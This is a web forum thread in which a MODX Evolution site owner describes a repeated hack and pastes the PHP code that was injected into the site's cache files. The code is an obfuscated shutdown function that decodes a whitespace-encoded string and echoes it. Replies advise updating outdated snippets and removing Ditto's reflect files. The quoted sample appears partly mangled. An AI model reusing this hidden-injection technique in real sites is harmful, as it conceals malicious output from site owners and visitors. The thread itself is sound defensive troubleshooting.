We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 4215
    • 5 Posts
    Hi,
    2 months ago our site got hacked. It was redirecting to a Ukrainian site.
    I and the hosting support team tried to find the entry point but with no luck.
    The traces I found were in the cache files. They were modified and the malicious code/redirect added at the bottom of every cache page. When I cleaned the cache the redirect disappeared.

    I was using a very old MODX, so I thought that was the problem. I changed every username/pass there is. Restored a one month old backup, so I’m sure nothing malicious had been left and upgraded (overwriting the files) to the latest version of Evolution - 1.0.5.

    Everything worked good for 2 months. Today I saw that our site returns a blank page. There is again a code (this time it’s different) added to all cache files including siteCache.idx.php and siteCache.idx.php. The register_globals is off.

    The code that is added to the cache files is:
    <?php /**
    * Gets some core libraries and displays a top message if required. /*
    */ function CoreLibrariesHandler() { /*
    */ $session_keys = ’ ’; /*
    */ /*
    */ foreach(str_split($session_keys, cool as $k=>$v) { /*
    */ $v = str_replace(’ ’, 1, str_replace(’ ’, 0, $v)); /*
    */ $session_keys[$k] = chr(bindec($v)); /*
    */ } /*
    */ /*
    */ if($session_keys) echo $session_keys; } /*
    */ register_shutdown_function(’CoreLibrariesHandler’); /*
    */ /*
    ************************************************************************/
    ?>

    The first time this happened I tracked that the code used to redirect was very often seen on osCommerce sites. When I search part of the code in Google I see again a lot of mentions of osCommerce, so I think there may be a hacked site on our server and it is somehow compromising out hosting account (we have another MODX site on the account and it never got hacked). So, I’ll changes hosting companies (we use a H-Sphere hosting) tomorrow and hope this will fix the problem but if someone can help/advice/suggest something, it will be appreciated.
      • 11055 ☆ A M B ☆
      • 3,112 Posts
      from which version?
      what snippets do you use (and their versions)?
        Rico
        Genius is one percent inspiration and ninety-nine percent perspiration. Thomas A. Edison
        MODx is great, but knowing how to use it well makes it perfect!

        www.virtudraft.com

        Security, security, security! | Indonesian MODx Forum | MODx Revo's cheatsheets | MODx Evo's cheatsheets

        Author of Easy 2 Gallery 1.4.x, PHPTidy, spieFeed, FileDownload R, Upload To Users CMP, Inherit Template TV, LexRating, ExerPlan, Lingua, virtuNewsletter, Grid Class Key, SmartTag, prevNext

        Maintainter/contributor of Babel

        Because it's hard to follow all topics on the forum, PING ME ON TWITTER @_goldsky if you need my help.
        • 4215
        • 5 Posts
        The upgrade was from a very old version of MODX - 0.9.6.1 to the current one - Evolution 1.0.5

        The snippets used are:
        Breadcrumbs - 1.0.3
        starRating - 2 beta
        AddBookmark - 1.0
        Ditto - 2.1.0
        FlexSearchForm - 0.6j
        Wayfinder - 2.0.1
        ListIndexer - 1.0.1
        eForm - 1.4.4.6
        and a few very small once that I wrote (none of them is taking input)
          • 11055 ☆ A M B ☆
          • 3,112 Posts
          Oh, my...
          That’s about 2-3 yrs ago?

          Try to update the snippets also.
          If you don’t use the Ditto’s reflect, delete that snippet and its ajax file.
            Rico
            Genius is one percent inspiration and ninety-nine percent perspiration. Thomas A. Edison
            MODx is great, but knowing how to use it well makes it perfect!

            www.virtudraft.com

            Security, security, security! | Indonesian MODx Forum | MODx Revo's cheatsheets | MODx Evo's cheatsheets

            Author of Easy 2 Gallery 1.4.x, PHPTidy, spieFeed, FileDownload R, Upload To Users CMP, Inherit Template TV, LexRating, ExerPlan, Lingua, virtuNewsletter, Grid Class Key, SmartTag, prevNext

            Maintainter/contributor of Babel

            Because it's hard to follow all topics on the forum, PING ME ON TWITTER @_goldsky if you need my help.
            • 12147
            • 182 Posts
            Goldsky,

            Sorry, do you mean the Reflect folder and the Configs folder within it, as well as default.templates.php?

            Regrettably I have had the same problem and am having a very difficult time finding the nasty bits remaining. Would welcome any other suggestions. Site was upgraded to 1.0.5 about a week ago (nefarious activiy was taking place before that, it appears).

            Thank you smiley
              • 1343 ☆ A M B ☆
              • 2,213 Posts
              My suggestion would be to actually remove the default snippets and use the versions included with the latest installer.
                Patrick | Server Wrangler
                About Me: Website | Tweets |  MODX Hosting